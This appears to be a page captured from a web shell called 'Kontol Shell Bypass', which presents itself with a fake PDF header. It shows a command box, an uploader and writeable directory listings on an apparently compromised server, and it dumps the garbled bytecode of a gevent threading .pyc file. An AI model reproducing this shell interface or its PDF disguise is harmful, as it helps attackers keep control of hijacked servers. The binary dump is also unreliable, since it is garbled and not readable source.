%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /vddos/python/lib/python3.9/site-packages/gevent/__pycache__/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //vddos/python/lib/python3.9/site-packages/gevent/__pycache__/threading.cpython-39.pyc
a

�_g/7�@sxdZddlmZgd�ZddlZejZejZ	ddl
Z
ddlZddlm
Z
ddlmZddlmZddlmZdd	lmZmZdd
lmZddlmZe
Z
eZeZeZeZeZeZeZdd
�Zdd�ZdZ Gdd�de�Zdd�Z!dd�Z"Gdd�dej#�Z#e�$d�Gdd�de#ej%�Z%e�$d�eZ&e�$d�e�'d�e�$d�eZe�'d�e(ed��rldZ)e�$d�dd �Z*dS)!a�
Implementation of the standard :mod:`threading` using greenlets.

.. note::

    This module is a helper for :mod:`gevent.monkey` and is not
    intended to be used directly. For spawning greenlets in your
    applications, prefer higher level constructs like
    :class:`gevent.Greenlet` class or :func:`gevent.spawn`. Attributes
    in this module like ``__threading__`` are implementation artifacts subject
    to change at any time.

.. versionchanged:: 1.2.3

   Defer adjusting the stdlib's list of active threads until we are
   monkey patched. Previously this was done at import time. We are
   documented to only be used as a helper for monkey patching, so this should
   functionally be the same, but some applications ignore the documentation and
   directly import this module anyway.

   A positive consequence is that ``import gevent.threading,
   threading; threading.current_thread()`` will no longer return a DummyThread
   before monkey-patching.
�)�absolute_import)�local�_start_new_thread�_allocate_lock�Lock�
_get_ident�_sleep�_DummyThreadN)r)�start_new_thread)�
allocate_lock)�	get_ident)�sleep�
getcurrent)�RLock)�LazyOnClasscCstj�t|�d�dS�N)�
__threading__�_active�popr)�g�r�=/vddos/python/lib/python3.9/site-packages/gevent/threading.py�_cleanupIsrcs�fdd�}|S)Ncstj��d�dSr)rrr)�_r��gidrr�_Msz_make_cleanup_id.<locals>._r)rrrrr�_make_cleanup_idLsrc@s�eZdZdZZZdZZdZZ	dZ
ZdZZ
dZZdZZe��ZZe��dZdZdd�Zdd�ZeZd	d
�Zedd��Zej dd
�dkr�ej dd�dkp�ej dd�dkZ!e!r�e"dd��Z#e#j$dd��Z#dS)r	FTrNcCs|t�d�|_|_|��t�}t|�}|tj|<t|dd�}|durP|t	�n(|j
}||t|��}||_|j|usxJ�dS)NzDummy-%d�rawlink)
r�_newname�_nameZ
_Thread__name�
_set_identrrr�getattrr�_DummyThread__weakref_refrZ_DummyThread__raw_ref)�selfrrr�refrrr�__init__�s

z_DummyThread.__init__cCsdSrr�r$rrr�
_Thread__stop�sz_DummyThread._Thread__stopcOsdSrr)r$�args�kwargsrrr�_wait_for_tstate_lock�sz"_DummyThread._wait_for_tstate_lockcCs
td�jS)N�weakref)�
__import__r%r'rrrZ
__weakref_ref�sz_DummyThread.__weakref_ref�)��r/)r/r0�)r/�r.cCst|�Sr)�typer'rrr�	__class__�sz_DummyThread.__class__cCs|turtjd�||�dS)Nr4)�_MainThread_�object�__dict__�__set__)r$�	new_classrrrr4�s
)%�__name__�
__module__�__qualname__Z_Thread__stopped�_is_stoppedZ_stoppedZ_Thread__initialized�_initializedZ_Thread__daemonic�	_daemonicZ
_Thread__args�_argsZ_Thread__kwargs�_kwargsZ_Thread__target�_targetZ
_Thread_ident�_identr�EventZ_Thread__started�_started�set�_tstate_lockZ_handler&r(�_stopr+rr#�sys�version_info�_NEEDS_CLASS_FORK_FIXUP�propertyr4�setterrrrrr	Ts2#
A$�
r	cCsHtj}t|�dksJ�t��}|tjt��<|t_|jt��ksDJ�dS)N�)rr�len�_MainThreadr�_main_thread�ident)Zactive�mainrrr�_after_fork_in_childsrTcCst��Sr)r�main_threadrrrr�main_native_threadsrVcs$eZdZ�fdd�Zdd�Z�ZS)�Threadcs$tt|���t�}|�|j�dSr)�superrW�_set_tstate_lockrr�_Thread__greenlet_finished)r$Zgreenlet�r4rrrY szThread._set_tstate_lockcCs|jr|j��|��dSr)rG�releaserH)r$rrrrZ__greenlet_finished%s
zThread.__greenlet_finished)r:r;r<rYrZ�
__classcell__rrr[rrWsrWc@seZdZdS)�TimerN)r:r;r<rrrrr^,sr^�
_set_sentinelrrr�_CRLockcCsrt�}t��|kr|d�dSt�tjvrR|j}tj|=t�|_|_|tjt�<tj	rnt
td�rntjt
d�dS)Nz}Monkey-patching outside the main native thread. Some APIs will not be available. Expect a KeyError to be printed at shutdown.�register_at_fork)�after_in_child)rVr�current_threadrrrRrCZ_Thread__identr	rK�hasattr�osrarT)Z
native_module�items�warnrUZmain_idrrr�_gevent_will_monkey_patchHsrh)+�__doc__�
__future__rZ__implements__�	threadingrr	Z
_DummyThread_rPr5rerIZgevent.localrZ
gevent.threadr
rrrrrZ
gevent.hubr
rrZgevent.lockrZgevent._utilrrrr�_weakrefrTrVrW�appendr^r_�removerdr`rhrrrr�<module>sV.









Kontol Shell Bypass